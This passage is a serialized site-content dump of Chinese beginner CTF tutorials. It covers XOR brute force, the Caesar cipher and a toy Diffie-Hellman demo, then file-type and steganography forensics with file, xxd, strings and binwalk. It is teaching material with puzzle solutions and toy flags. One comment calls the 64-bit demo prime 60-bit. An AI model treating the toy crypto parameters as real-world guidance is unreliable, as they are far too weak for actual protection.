flag\n",[15,3558,456],{},[28,3560,3563],{"className":3561,"code":3562,"language":97,"meta":33},[95],"%E4%BD%A0%E5%A5%BD\nflag\n",[19,3564,3562],{"__ignoreMap":33},[10,3566,26],{"id":25},[28,3568,3570],{"className":30,"code":3569,"language":32,"meta":33,"style":33},"pip3 install pycryptodome sympy gmpy2\n",[19,3571,3572],{"__ignoreMap":33},[37,3573,3574,3576,3578,3581,3584],{"class":39,"line":40},[37,3575,63],{"class":43},[37,3577,48],{"class":47},[37,3579,3580],{"class":47}," pycryptodome",[37,3582,3583],{"class":47}," sympy",[37,3585,3586],{"class":47}," gmpy2\n",[15,3588,3589,3590],{},"浏览器打开 CyberChef（",[3591,3592,3596],"a",{"href":3593,"rel":3594},"https://gchq.github.io/CyberChef%EF%BC%89%E3%80%82",[3595],"nofollow","https://gchq.github.io/CyberChef）。",[10,3598,3600],{"id":3599},"三核心知识-1xor-与单字节爆破","三、核心知识 1：XOR 与单字节爆破",[15,3602,3603,3604,3607,3608,3611],{},"异或的性质：",[19,3605,3606],{},"A ^ B = C","，且 ",[19,3609,3610],{},"C ^ B = A","。同一个密钥异或两次就还原，所以加密和解密是同一个运算。",[85,3613,3615],{"id":3614},"_31-加密","3.1 加密",[15,3617,3618,3620],{},[107,3619,109],{},"：先用已知明文和密钥生成密文，验证\"异或加密\"的写法，同时为后面爆破提供测试对象。",[28,3622,3624],{"className":113,"code":3623,"language":115,"meta":33,"style":33},"plain = b\"flag{xor_is_easy}\"\nkey = 0x42   # 密钥是单个字节（0-255 的整数），这里选 0x42\n\ncipher = bytes([b ^ key for b in plain])\n# 列表推导式：对 plain 的每个字节 b，做 b ^ key（按位异或），\n# bytes(...) 把结果整数列表转回字节串。这就是单字节 XOR 加密。\nprint(cipher.hex())\n# .hex()：把密文字节串转成十六进制字符串，方便在题目里粘贴/对比。\n",[19,3625,3626,3631,3636,3640,3645,3650,3655,3660],{"__ignoreMap":33},[37,3627,3628],{"class":39,"line":40},[37,3629,3630],{},"plain = b\"flag{xor_is_easy}\"\n",[37,3632,3633],{"class":39,"line":60},[37,3634,3635],{},"key = 0x42   # 密钥是单个字节（0-255 的整数），这里选 0x42\n",[37,3637,3638],{"class":39,"line":71},[37,3639,133],{"emptyLinePlaceholder":132},[37,3641,3642],{"class":39,"line":136},[37,3643,3644],{},"cipher = bytes([b ^ key for b in plain])\n",[37,3646,3647],{"class":39,"line":142},[37,3648,3649],{},"# 列表推导式：对 plain 的每个字节 b，做 b ^ key（按位异或），\n",[37,3651,3652],{"class":39,"line":148},[37,3653,3654],{},"# bytes(...) 把结果整数列表转回字节串。这就是单字节 XOR 加密。\n",[37,3656,3657],{"class":39,"line":154},[37,3658,3659],{},"print(cipher.hex())\n",[37,3661,3662],{"class":39,"line":159},[37,3663,3664],{},"# .hex()：把密文字节串转成十六进制字符串，方便在题目里粘贴/对比。\n",[15,3666,456],{},[28,3668,3671],{"className":3669,"code":3670,"language":97,"meta":33},[95],"242e2325393a2d301d2b311d2723313b3f\n",[19,3672,3670],{"__ignoreMap":33},[85,3674,3676],{"id":3675},"_32-爆破密钥只有-256-种可能","3.2 爆破（密钥只有 256 种可能）",[15,3678,3679,3681],{},[107,3680,109],{},"：不知道密钥时，把 256 种可能全部试一遍。",[15,3683,3684,3686,3687,3690,3691,3694],{},[107,3685,336],{},"：如果密钥猜对了，解密结果会是一段正常文本；CTF 里 flag 固定以 ",[19,3688,3689],{},"flag{"," 开头，这就是天然的判据。用 ",[19,3692,3693],{},"b\"flag{\" in plain"," 过滤即可。",[28,3696,3698],{"className":113,"code":3697,"language":115,"meta":33,"style":33},"cipher = bytes.fromhex(\"242e2325393a2d301d2b311d2723313b3f\")\n# bytes.fromhex(...)：把题目给的十六进制密文还原成字节串。\n\nfor k in range(256):\n    # 枚举 0-255 共 256 个可能的单字节密钥。\n    plain = bytes([b ^ k for b in cipher])\n    # 对每个密钥尝试解密：每个密文字节与 k 异或。\n    # 异或的自反性保证：加密用 key，解密用同一个 key。\n    if b\"flag{\" in plain:\n        # 如果解密结果包含 flag 前缀，说明密钥猜对了。\n        print(\"key =\", k)           # 输出密钥数值\n        print(plain.decode())       # 输出解密出的明文\n        break\n        # 找到即停止，避免继续打印无意义结果。\n",[19,3699,3700,3705,3710,3714,3719,3724,3729,3734,3739,3744,3749,3754,3759,3763],{"__ignoreMap":33},[37,3701,3702],{"class":39,"line":40},[37,3703,3704],{},"cipher = bytes.fromhex(\"242e2325393a2d301d2b311d2723313b3f\")\n",[37,3706,3707],{"class":39,"line":60},[37,3708,3709],{},"# bytes.fromhex(...)：把题目给的十六进制密文还原成字节串。\n",[37,3711,3712],{"class":39,"line":71},[37,3713,133],{"emptyLinePlaceholder":132},[37,3715,3716],{"class":39,"line":136},[37,3717,3718],{},"for k in range(256):\n",[37,3720,3721],{"class":39,"line":142},[37,3722,3723],{},"    # 枚举 0-255 共 256 个可能的单字节密钥。\n",[37,3725,3726],{"class":39,"line":148},[37,3727,3728],{},"    plain = bytes([b ^ k for b in cipher])\n",[37,3730,3731],{"class":39,"line":154},[37,3732,3733],{},"    # 对每个密钥尝试解密：每个密文字节与 k 异或。\n",[37,3735,3736],{"class":39,"line":159},[37,3737,3738],{},"    # 异或的自反性保证：加密用 key，解密用同一个 key。\n",[37,3740,3741],{"class":39,"line":165},[37,3742,3743],{},"    if b\"flag{\" in plain:\n",[37,3745,3746],{"class":39,"line":171},[37,3747,3748],{},"        # 如果解密结果包含 flag 前缀，说明密钥猜对了。\n",[37,3750,3751],{"class":39,"line":177},[37,3752,3753],{},"        print(\"key =\", k)           # 输出密钥数值\n",[37,3755,3756],{"class":39,"line":183},[37,3757,3758],{},"        print(plain.decode())       # 输出解密出的明文\n",[37,3760,3761],{"class":39,"line":189},[37,3762,434],{},[37,3764,3765],{"class":39,"line":195},[37,3766,3767],{},"        # 找到即停止，避免继续打印无意义结果。\n",[15,3769,456],{},[28,3771,3774],{"className":3772,"code":3773,"language":97,"meta":33},[95],"key = 66\nflag{xor_is_easy}\n",[19,3775,3773],{"__ignoreMap":33},[15,3777,3778,3779,3781],{},"判断依据：明文包含 ",[19,3780,3689],{}," 前缀。CTF 里 flag 都有固定格式，这就是天然的校验。",[85,3783,3785],{"id":3784},"_33-多字节-xor-简介","3.3 多字节 XOR 简介",[15,3787,3788,3789,1682],{},"密钥是多个字节循环使用时，先猜密钥长度，再对每个位置分别做单字节分析。工具 ",[19,3790,3791],{},"xortool",[28,3793,3795],{"className":30,"code":3794,"language":32,"meta":33,"style":33},"pip install xortool\nxortool -x -c 20 cipher.bin\n",[19,3796,3797,3807],{"__ignoreMap":33},[37,3798,3799,3802,3804],{"class":39,"line":40},[37,3800,3801],{"class":43},"pip",[37,3803,48],{"class":47},[37,3805,3806],{"class":47}," xortool\n",[37,3808,3809,3811,3814,3817,3820],{"class":39,"line":60},[37,3810,3791],{"class":43},[37,3812,3813],{"class":479}," -x",[37,3815,3816],{"class":479}," -c",[37,3818,3819],{"class":479}," 20",[37,3821,3822],{"class":47}," cipher.bin\n",[10,3824,3826],{"id":3825},"四核心知识-2凯撒密码","四、核心知识 2：凯撒密码",[15,3828,3829],{},"每个字母平移固定位数：",[28,3831,3833],{"className":113,"code":3832,"language":115,"meta":33,"style":33},"def caesar(s, shift):\n    out = \"\"\n    for c in s:\n        if c.isalpha():\n            base = ord('a') if c.islower() else ord('A')\n            out += chr((ord(c) - base + shift) % 26 + base)\n        else:\n            out += c\n    return out\n\nprint(caesar(\"flag{caesar_is_fun}\", 3))    # 加密\nprint(caesar(\"iodj{fdhvdu_lv_ixq}\", -3))   # 解密\n",[19,3834,3835,3840,3845,3850,3855,3860,3865,3870,3875,3880,3884,3889],{"__ignoreMap":33},[37,3836,3837],{"class":39,"line":40},[37,3838,3839],{},"def caesar(s, shift):\n",[37,3841,3842],{"class":39,"line":60},[37,3843,3844],{},"    out = \"\"\n",[37,3846,3847],{"class":39,"line":71},[37,3848,3849],{},"    for c in s:\n",[37,3851,3852],{"class":39,"line":136},[37,3853,3854],{},"        if c.isalpha():\n",[37,3856,3857],{"class":39,"line":142},[37,3858,3859],{},"            base = ord('a') if c.islower() else ord('A')\n",[37,3861,3862],{"class":39,"line":148},[37,3863,3864],{},"            out += chr((ord(c) - base + shift) % 26 + base)\n",[37,3866,3867],{"class":39,"line":154},[37,3868,3869],{},"        else:\n",[37,3871,3872],{"class":39,"line":159},[37,3873,3874],{},"            out += c\n",[37,3876,3877],{"class":39,"line":165},[37,3878,3879],{},"    return out\n",[37,3881,3882],{"class":39,"line":171},[37,3883,133],{"emptyLinePlaceholder":132},[37,3885,3886],{"class":39,"line":177},[37,3887,3888],{},"print(caesar(\"flag{caesar_is_fun}\", 3))    # 加密\n",[37,3890,3891],{"class":39,"line":183},[37,3892,3893],{},"print(caesar(\"iodj{fdhvdu_lv_ixq}\", -3))   # 解密\n",[15,3895,456],{},[28,3897,3900],{"className":3898,"code":3899,"language":97,"meta":33},[95],"iodj{fdhvdu_lv_ixq}\nflag{caesar_is_fun}\n",[19,3901,3899],{"__ignoreMap":33},[10,3903,3905],{"id":3904},"五核心知识-3dh-密钥协商","五、核心知识 3：DH 密钥协商",[85,3907,3909],{"id":3908},"_51-要解决的问题","5.1 要解决的问题",[15,3911,3912],{},"对称加密要求双方共享同一密钥，但互联网上的双方从未见过面，信道还可能被窃听。DH（Diffie-Hellman）解决\"在公开信道协商共享密钥\"。",[85,3914,3916],{"id":3915},"_52-流程","5.2 流程",[15,3918,3919,3921],{},[107,3920,109],{},"：理解双方如何在\"只看得到公开数值\"的情况下得到同一个秘密。",[15,3923,3924,3926],{},[107,3925,336],{},"：秘密不在信道上传输，而是双方各自用\"自己的私钥 + 对方的公钥\"算出同一个数。窃听者缺少任一个私钥，就算不出来。",[1910,3928,3929,3937,3946,3954],{},[1913,3930,3931,3932,3934,3935,490],{},"双方公开约定大素数 ",[19,3933,15],{}," 与生成元 ",[19,3936,1218],{},[1913,3938,3939,3940,3942,3943,490],{},"Alice 选私钥 ",[19,3941,3591],{},"，发送 ",[19,3944,3945],{},"A = g^a mod p",[1913,3947,3948,3949,3942,3951,490],{},"Bob 选私钥 ",[19,3950,2116],{},[19,3952,3953],{},"B = g^b mod p",[1913,3955,3956,3957,3960,3961,3964,3965,490],{},"双方分别计算 ",[19,3958,3959],{},"B^a mod p"," 与 ",[19,3962,3963],{},"A^b mod p","，得到相同值 ",[19,3966,3967],{},"g^(ab) mod p",[85,3969,3971],{"id":3970},"_53-最小实现","5.3 最小实现",[28,3973,3975],{"className":113,"code":3974,"language":115,"meta":33,"style":33},"p, g = 0xffffffffffffffc5, 2\n# p：双方公开约定的素数（演示用 60 位，实际协议要求 2048 位以上）。\n# g：生成元，双方公开约定。\na, b = 1234567, 7654321\n# a 是 Alice 的私钥，b 是 Bob 的私钥——这两个值绝不能公开。\n\nA = pow(g, a, p)\n# pow(g, a, p) = g^a mod p，即快速幂取模。\n# A 是 Alice 的\"公钥\"，可以公开，Alice 把它发给 Bob。\nB = pow(g, b, p)\n# 同理，B 是 Bob 的公钥，Bob 发给 Alice。\n\ns_alice = pow(B, a, p)\n# Alice 用 Bob 的公钥 B 和自己的私钥 a 计算 (g^b)^a = g^(ab)。\ns_bob = pow(A, b, p)\n# Bob 用 Alice 的公钥 A 和自己的私钥 b 计算 (g^a)^b = g^(ab)。\n# 两个结果相等，这就是共享密钥。\n\nprint(\"A =\", A)\nprint(\"B =\", B)\nprint(\"Alice 计算:\", s_alice)\nprint(\"Bob 计算:\", s_bob)\nprint(\"一致:\", s_alice == s_bob)\n# 输出一致: True，说明双方在公开信道中成功协商出同一密钥。\n",[19,3976,3977,3982,3987,3992,3997,4002,4006,4011,4016,4021,4026,4031,4035,4040,4045,4050,4055,4060,4064,4069,4074,4079,4084,4089],{"__ignoreMap":33},[37,3978,3979],{"class":39,"line":40},[37,3980,3981],{},"p, g = 0xffffffffffffffc5, 2\n",[37,3983,3984],{"class":39,"line":60},[37,3985,3986],{},"# p：双方公开约定的素数（演示用 60 位，实际协议要求 2048 位以上）。\n",[37,3988,3989],{"class":39,"line":71},[37,3990,3991],{},"# g：生成元，双方公开约定。\n",[37,3993,3994],{"class":39,"line":136},[37,3995,3996],{},"a, b = 1234567, 7654321\n",[37,3998,3999],{"class":39,"line":142},[37,4000,4001],{},"# a 是 Alice 的私钥，b 是 Bob 的私钥——这两个值绝不能公开。\n",[37,4003,4004],{"class":39,"line":148},[37,4005,133],{"emptyLinePlaceholder":132},[37,4007,4008],{"class":39,"line":154},[37,4009,4010],{},"A = pow(g, a, p)\n",[37,4012,4013],{"class":39,"line":159},[37,4014,4015],{},"# pow(g, a, p) = g^a mod p，即快速幂取模。\n",[37,4017,4018],{"class":39,"line":165},[37,4019,4020],{},"# A 是 Alice 的\"公钥\"，可以公开，Alice 把它发给 Bob。\n",[37,4022,4023],{"class":39,"line":171},[37,4024,4025],{},"B = pow(g, b, p)\n",[37,4027,4028],{"class":39,"line":177},[37,4029,4030],{},"# 同理，B 是 Bob 的公钥，Bob 发给 Alice。\n",[37,4032,4033],{"class":39,"line":183},[37,4034,133],{"emptyLinePlaceholder":132},[37,4036,4037],{"class":39,"line":189},[37,4038,4039],{},"s_alice = pow(B, a, p)\n",[37,4041,4042],{"class":39,"line":195},[37,4043,4044],{},"# Alice 用 Bob 的公钥 B 和自己的私钥 a 计算 (g^b)^a = g^(ab)。\n",[37,4046,4047],{"class":39,"line":200},[37,4048,4049],{},"s_bob = pow(A, b, p)\n",[37,4051,4052],{"class":39,"line":206},[37,4053,4054],{},"# Bob 用 Alice 的公钥 A 和自己的私钥 b 计算 (g^a)^b = g^(ab)。\n",[37,4056,4057],{"class":39,"line":212},[37,4058,4059],{},"# 两个结果相等，这就是共享密钥。\n",[37,4061,4062],{"class":39,"line":218},[37,4063,133],{"emptyLinePlaceholder":132},[37,4065,4066],{"class":39,"line":224},[37,4067,4068],{},"print(\"A =\", A)\n",[37,4070,4071],{"class":39,"line":230},[37,4072,4073],{},"print(\"B =\", B)\n",[37,4075,4076],{"class":39,"line":236},[37,4077,4078],{},"print(\"Alice 计算:\", s_alice)\n",[37,4080,4081],{"class":39,"line":241},[37,4082,4083],{},"print(\"Bob 计算:\", s_bob)\n",[37,4085,4086],{"class":39,"line":247},[37,4087,4088],{},"print(\"一致:\", s_alice == s_bob)\n",[37,4090,4091],{"class":39,"line":253},[37,4092,4093],{},"# 输出一致: True，说明双方在公开信道中成功协商出同一密钥。\n",[15,4095,456],{},[28,4097,4100],{"className":4098,"code":4099,"language":97,"meta":33},[95],"A = 6842530808116395773\nB = 3514199851527377648\nAlice 计算: 17750252846772688935\nBob 计算: 17750252846772688935\n一致: True\n",[19,4101,4099],{"__ignoreMap":33},[15,4103,4104,4105,4108,4109,4111],{},"窃听者只能看到 ",[19,4106,4107],{},"p, g, A, B","，要算出 ",[19,4110,3591],{}," 必须求解离散对数，参数足够大时不可行。HTTPS 的 TLS 协议正是用 DH 协商密钥、用 RSA/ECDSA 证书认证身份。",[10,4113,941],{"id":940},[85,4115,4117],{"id":4116},"工具-1cyberchef","工具 1：CyberChef",[15,4119,4120],{},"浏览器工具，三个常用操作：",[943,4122,4123,4133],{},[946,4124,4125],{},[949,4126,4127,4130],{},[952,4128,4129],{},"操作",[952,4131,4132],{},"用法",[962,4134,4135,4143,4151],{},[949,4136,4137,4140],{},[967,4138,4139],{},"From Base64",[967,4141,4142],{},"左侧搜 Base64 拖入，粘贴密文，自动解码",[949,4144,4145,4148],{},[967,4146,4147],{},"From Hex",[967,4149,4150],{},"拖入 From Hex 解码十六进制",[949,4152,4153,4156],{},[967,4154,4155],{},"Magic",[967,4157,4158],{},"直接粘贴未知文本，自动猜测编码方式",[85,4160,4162],{"id":4161},"工具-2python-标准库","工具 2：Python 标准库",[28,4164,4166],{"className":113,"code":4165,"language":115,"meta":33,"style":33},"import base64, binascii\n\nprint(base64.b64decode(\"ZmxhZw==\"))   # b'flag'\nprint(bytes.fromhex(\"666c6167\"))      # b'flag'\nprint(ord('A'))                       # 65，ASCII 编码\n",[19,4167,4168,4173,4177,4182,4187],{"__ignoreMap":33},[37,4169,4170],{"class":39,"line":40},[37,4171,4172],{},"import base64, binascii\n",[37,4174,4175],{"class":39,"line":60},[37,4176,133],{"emptyLinePlaceholder":132},[37,4178,4179],{"class":39,"line":71},[37,4180,4181],{},"print(base64.b64decode(\"ZmxhZw==\"))   # b'flag'\n",[37,4183,4184],{"class":39,"line":136},[37,4185,4186],{},"print(bytes.fromhex(\"666c6167\"))      # b'flag'\n",[37,4188,4189],{"class":39,"line":142},[37,4190,4191],{},"print(ord('A'))                       # 65，ASCII 编码\n",[85,4193,4195],{"id":4194},"工具-3pycryptodome","工具 3：pycryptodome",[15,4197,4198],{},"CTF 密码学最常用的库，三个函数：",[28,4200,4202],{"className":113,"code":4201,"language":115,"meta":33,"style":33},"from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse\n\nprint(inverse(3, 7))                    # 5：3 在模 7 下的逆元\nprint(long_to_bytes(0x666c6167))        # b'flag'\nprint(bytes_to_long(b\"flag\"))           # 1718378855\n",[19,4203,4204,4209,4213,4218,4223],{"__ignoreMap":33},[37,4205,4206],{"class":39,"line":40},[37,4207,4208],{},"from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse\n",[37,4210,4211],{"class":39,"line":60},[37,4212,133],{"emptyLinePlaceholder":132},[37,4214,4215],{"class":39,"line":71},[37,4216,4217],{},"print(inverse(3, 7))                    # 5：3 在模 7 下的逆元\n",[37,4219,4220],{"class":39,"line":136},[37,4221,4222],{},"print(long_to_bytes(0x666c6167))        # b'flag'\n",[37,4224,4225],{"class":39,"line":142},[37,4226,4227],{},"print(bytes_to_long(b\"flag\"))           # 1718378855\n",[15,4229,456],{},[28,4231,4234],{"className":4232,"code":4233,"language":97,"meta":33},[95],"5\nb'flag'\n1718378855\n",[19,4235,4233],{"__ignoreMap":33},[10,4237,4239],{"id":4238},"七小-ctf-实战单字节-xor","七、小 CTF 实战：单字节 XOR",[15,4241,4242],{},"题目：给出密文 hex，提示\"密钥是一个字节，明文是 flag\"。",[28,4244,4246],{"className":4245,"code":3670,"language":97,"meta":33},[95],[19,4247,3670],{"__ignoreMap":33},[15,4249,4250],{},"解题脚本：",[15,4252,4253,4255,4256,4258],{},[107,4254,336],{},"：密文是字节串，密钥只可能 0-255；逐个试，用 ",[19,4257,3689],{}," 前缀过滤正确结果。",[28,4260,4262],{"className":113,"code":4261,"language":115,"meta":33,"style":33},"from binascii import unhexlify\n# unhexlify 与 bytes.fromhex 等价：把十六进制字符串转成字节串。\n\ncipher = unhexlify(\"242e2325393a2d301d2b311d2723313b3f\")\n\nfor k in range(256):\n    plain = bytes([b ^ k for b in cipher])\n    # 每个密文字节与候选密钥 k 异或，得到候选明文。\n    if b\"flag{\" in plain:\n        print(\"key =\", k)          # 预期 66\n        print(plain.decode())      # 预期 flag{xor_is_easy}\n        break\n",[19,4263,4264,4269,4274,4278,4283,4287,4291,4295,4300,4304,4309,4314],{"__ignoreMap":33},[37,4265,4266],{"class":39,"line":40},[37,4267,4268],{},"from binascii import unhexlify\n",[37,4270,4271],{"class":39,"line":60},[37,4272,4273],{},"# unhexlify 与 bytes.fromhex 等价：把十六进制字符串转成字节串。\n",[37,4275,4276],{"class":39,"line":71},[37,4277,133],{"emptyLinePlaceholder":132},[37,4279,4280],{"class":39,"line":136},[37,4281,4282],{},"cipher = unhexlify(\"242e2325393a2d301d2b311d2723313b3f\")\n",[37,4284,4285],{"class":39,"line":142},[37,4286,133],{"emptyLinePlaceholder":132},[37,4288,4289],{"class":39,"line":148},[37,4290,3718],{},[37,4292,4293],{"class":39,"line":154},[37,4294,3728],{},[37,4296,4297],{"class":39,"line":159},[37,4298,4299],{},"    # 每个密文字节与候选密钥 k 异或，得到候选明文。\n",[37,4301,4302],{"class":39,"line":165},[37,4303,3743],{},[37,4305,4306],{"class":39,"line":171},[37,4307,4308],{},"        print(\"key =\", k)          # 预期 66\n",[37,4310,4311],{"class":39,"line":177},[37,4312,4313],{},"        print(plain.decode())      # 预期 flag{xor_is_easy}\n",[37,4315,4316],{"class":39,"line":183},[37,4317,434],{},[15,4319,456],{},[28,4321,4323],{"className":4322,"code":3773,"language":97,"meta":33},[95],[19,4324,3773],{"__ignoreMap":33},[10,4326,1130],{"id":1129},[15,4328,4329],{},"密码学入门三点：编码识别（Base64/Hex/URL）、XOR 与单字节爆破、DH 的数学原理。这三样足以解决入门级密码题；RSA 与分组密码的误用攻击见《RSA 深入实战》。",[1144,4331,4332],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}",{"title":33,"searchDepth":60,"depth":60,"links":4334},[4335,4336,4337,4338,4339,4340,4341,4342],{"id":3360,"depth":71,"text":3361},{"id":25,"depth":71,"text":26},{"id":3599,"depth":71,"text":3600},{"id":3825,"depth":71,"text":3826},{"id":3904,"depth":71,"text":3905},{"id":940,"depth":71,"text":941},{"id":4238,"depth":71,"text":4239},{"id":1129,"depth":71,"text":1130},"编码在现实网络中的应用、单字节 XOR 的加密与爆破、DH 密钥协商的最小实现。",{"date":1160,"image":4345,"alt":4346,"tags":4347,"published":132},"/blogs-img/blog3.png","CTF 密码学入门",[1164,4348,1167],"crypto","/blogs/ctf-crypto-overview",{"title":3355,"description":4343},"blogs/12. ctf-crypto-overview","DxG_dqKWLnmfDkyKuCyhXivf1lWCPPVHNvci7wmQWK8",{"id":4354,"title":4355,"body":4356,"description":5249,"extension":1158,"meta":5250,"navigation":132,"ogImage":5251,"path":5254,"seo":5255,"stem":5256,"__hash__":5257},"content/blogs/13. ctf-misc-overview.md","CTF Misc 入门：文件头、binwalk 与 LSB 隐写",{"type":7,"value":4357,"toc":5239},[4358,4362,4372,4375,4433,4435,4467,4471,4475,4480,4485,4496,4498,4504,4511,4533,4537,4542,4564,4566,4572,4582,4586,4591,4602,4622,4625,4629,4632,4644,4646,4652,4655,4669,4676,4683,4694,4698,4702,4705,4711,4714,4718,4723,4900,4910,4914,4919,4924,5042,5044,5049,5053,5074,5080,5082,5149,5153,5157,5159,5170,5175,5178,5196,5199,5202,5212,5215,5218,5223,5225,5236],[10,4359,4361],{"id":4360},"一现实背景扩展名不可信","一、现实背景：扩展名不可信",[15,4363,4364,4365,4368,4369,490],{},"操作系统按扩展名选择打开程序（",[19,4366,4367],{},".png"," 用图片查看器），但文件的真实类型由文件头（magic bytes）决定。日常中\"把 zip 改成 png\"会让图片查看器报错；取证中则要反过来：",[107,4370,4371],{},"先看文件头，再信扩展名",[15,4373,4374],{},"必须记住的三个文件头：",[943,4376,4377,4390],{},[946,4378,4379],{},[949,4380,4381,4384,4387],{},[952,4382,4383],{},"文件",[952,4385,4386],{},"文件头（hex）",[952,4388,4389],{},"明文",[962,4391,4392,4407,4420],{},[949,4393,4394,4397,4402],{},[967,4395,4396],{},"PNG",[967,4398,4399],{},[19,4400,4401],{},"89 50 4E 47 0D 0A 1A 0A",[967,4403,4404],{},[19,4405,4406],{},"‰PNG",[949,4408,4409,4412,4417],{},[967,4410,4411],{},"JPEG",[967,4413,4414],{},[19,4415,4416],{},"FF D8 FF",[967,4418,4419],{},"—",[949,4421,4422,4425,4429],{},[967,4423,4424],{},"ZIP",[967,4426,4427],{},[19,4428,21],{},[967,4430,4431],{},[19,4432,1107],{},[10,4434,26],{"id":25},[28,4436,4438],{"className":30,"code":4437,"language":32,"meta":33,"style":33},"apt install file binutils binwalk foremost exiftool\npip3 install pillow\n",[19,4439,4440,4459],{"__ignoreMap":33},[37,4441,4442,4444,4446,4448,4450,4453,4456],{"class":39,"line":40},[37,4443,44],{"class":43},[37,4445,48],{"class":47},[37,4447,51],{"class":47},[37,4449,54],{"class":47},[37,4451,4452],{"class":47}," binwalk",[37,4454,4455],{"class":47}," foremost",[37,4457,4458],{"class":47}," exiftool\n",[37,4460,4461,4463,4465],{"class":39,"line":60},[37,4462,63],{"class":43},[37,4464,48],{"class":47},[37,4466,68],{"class":47},[10,4468,4470],{"id":4469},"三核心技能-1file-与-xxd","三、核心技能 1：file 与 xxd",[85,4472,4474],{"id":4473},"_31-file看真实类型","3.1 file：看真实类型",[15,4476,4477,4479],{},[107,4478,109],{},"：判断题目文件到底是图片、压缩包还是其他东西，避免被扩展名误导。",[15,4481,4482,4484],{},[107,4483,1769],{},"：看输出的第一段描述（PNG image data / Zip archive data / PDF document ...）。",[28,4486,4488],{"className":30,"code":4487,"language":32,"meta":33,"style":33},"file hidden.png\n",[19,4489,4490],{"__ignoreMap":33},[37,4491,4492,4494],{"class":39,"line":40},[37,4493,969],{"class":43},[37,4495,483],{"class":47},[15,4497,456],{},[28,4499,4502],{"className":4500,"code":4501,"language":97,"meta":33},[95],"hidden.png: PNG image data, 8 x 8, 8-bit/color RGB, non-interlaced\n",[19,4503,4501],{"__ignoreMap":33},[15,4505,4506,4507,4510],{},"如果输出是 ",[19,4508,4509],{},"Zip archive data","，说明文件其实是 zip：",[28,4512,4514],{"className":30,"code":4513,"language":32,"meta":33,"style":33},"mv flag.png flag.zip && unzip flag.zip\n",[19,4515,4516],{"__ignoreMap":33},[37,4517,4518,4521,4523,4526,4528,4530],{"class":39,"line":40},[37,4519,4520],{"class":43},"mv",[37,4522,1057],{"class":47},[37,4524,4525],{"class":47}," flag.zip",[37,4527,1902],{"class":1217},[37,4529,1879],{"class":43},[37,4531,4532],{"class":47}," flag.zip\n",[85,4534,4536],{"id":4535},"_32-xxd看文件头","3.2 xxd：看文件头",[15,4538,4539,4541],{},[107,4540,109],{},"：用肉眼确认文件开头的魔数，验证 file 的判断，也为手工分析文件结构做准备。",[28,4543,4545],{"className":30,"code":4544,"language":32,"meta":33,"style":33},"xxd -l 16 hidden.png\n# -l 16：只显示前 16 个字节，看文件头足够。\n",[19,4546,4547,4559],{"__ignoreMap":33},[37,4548,4549,4551,4554,4557],{"class":39,"line":40},[37,4550,982],{"class":43},[37,4552,4553],{"class":479}," -l",[37,4555,4556],{"class":479}," 16",[37,4558,483],{"class":47},[37,4560,4561],{"class":39,"line":60},[37,4562,4563],{"class":1060},"# -l 16：只显示前 16 个字节，看文件头足够。\n",[15,4565,456],{},[28,4567,4570],{"className":4568,"code":4569,"language":97,"meta":33},[95],"00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452  .PNG........IHDR\n",[19,4571,4569],{"__ignoreMap":33},[15,4573,4574,4575,4578,4579,490],{},"开头的 ",[19,4576,4577],{},"89 50 4e 47 0d 0a 1a 0a"," 正是 PNG 魔数，右侧明文是 ",[19,4580,4581],{},".PNG",[85,4583,4585],{"id":4584},"_33-strings搜字符串","3.3 strings：搜字符串",[15,4587,4588,4590],{},[107,4589,109],{},"：快速判断 flag 是不是直接以文本形式藏在文件里。",[15,4592,4593,1682,4595,4597,4598,4601],{},[107,4594,336],{},[19,4596,1066],{}," 把可打印字符串抽出来，",[19,4599,4600],{},"grep -i flag"," 过滤含 flag 的行。有输出 = 直接提取；无输出 = 可能是隐写，进入下一步。",[28,4603,4605],{"className":30,"code":4604,"language":32,"meta":33,"style":33},"strings flag.png | grep -i flag\n",[19,4606,4607],{"__ignoreMap":33},[37,4608,4609,4611,4613,4615,4617,4619],{"class":39,"line":40},[37,4610,1066],{"class":43},[37,4612,1057],{"class":47},[37,4614,1072],{"class":1071},[37,4616,1075],{"class":43},[37,4618,1078],{"class":479},[37,4620,4621],{"class":47}," flag\n",[15,4623,4624],{},"有输出说明 flag 直接以文本形式藏在文件里；无输出则可能是隐写。",[10,4626,4628],{"id":4627},"四核心技能-2binwalk-提取隐藏文件","四、核心技能 2：binwalk 提取隐藏文件",[15,4630,4631],{},"文件可以追加在其他文件之后（如图片尾部拼接 zip）。扫描：",[28,4633,4635],{"className":30,"code":4634,"language":32,"meta":33,"style":33},"binwalk flag.png\n",[19,4636,4637],{"__ignoreMap":33},[37,4638,4639,4641],{"class":39,"line":40},[37,4640,999],{"class":43},[37,4642,4643],{"class":47}," flag.png\n",[15,4645,1310],{},[28,4647,4650],{"className":4648,"code":4649,"language":97,"meta":33},[95],"DECIMAL  HEXADECIMAL  DESCRIPTION\n0        0x0           PNG image, 500 x 500\n12345    0x3039        Zip archive data\n",[19,4651,4649],{"__ignoreMap":33},[15,4653,4654],{},"提取：",[28,4656,4658],{"className":30,"code":4657,"language":32,"meta":33,"style":33},"binwalk -e flag.png\n",[19,4659,4660],{"__ignoreMap":33},[37,4661,4662,4664,4667],{"class":39,"line":40},[37,4663,999],{"class":43},[37,4665,4666],{"class":479}," -e",[37,4668,4643],{"class":47},[15,4670,4671,4672,4675],{},"会在当前目录生成 ",[19,4673,4674],{},"_flag.png.extracted"," 文件夹，里面是提取出的 zip。",[15,4677,4678,4679,4682],{},"备选工具 ",[19,4680,4681],{},"foremost","（按文件头暴力切割）：",[28,4684,4686],{"className":30,"code":4685,"language":32,"meta":33,"style":33},"foremost 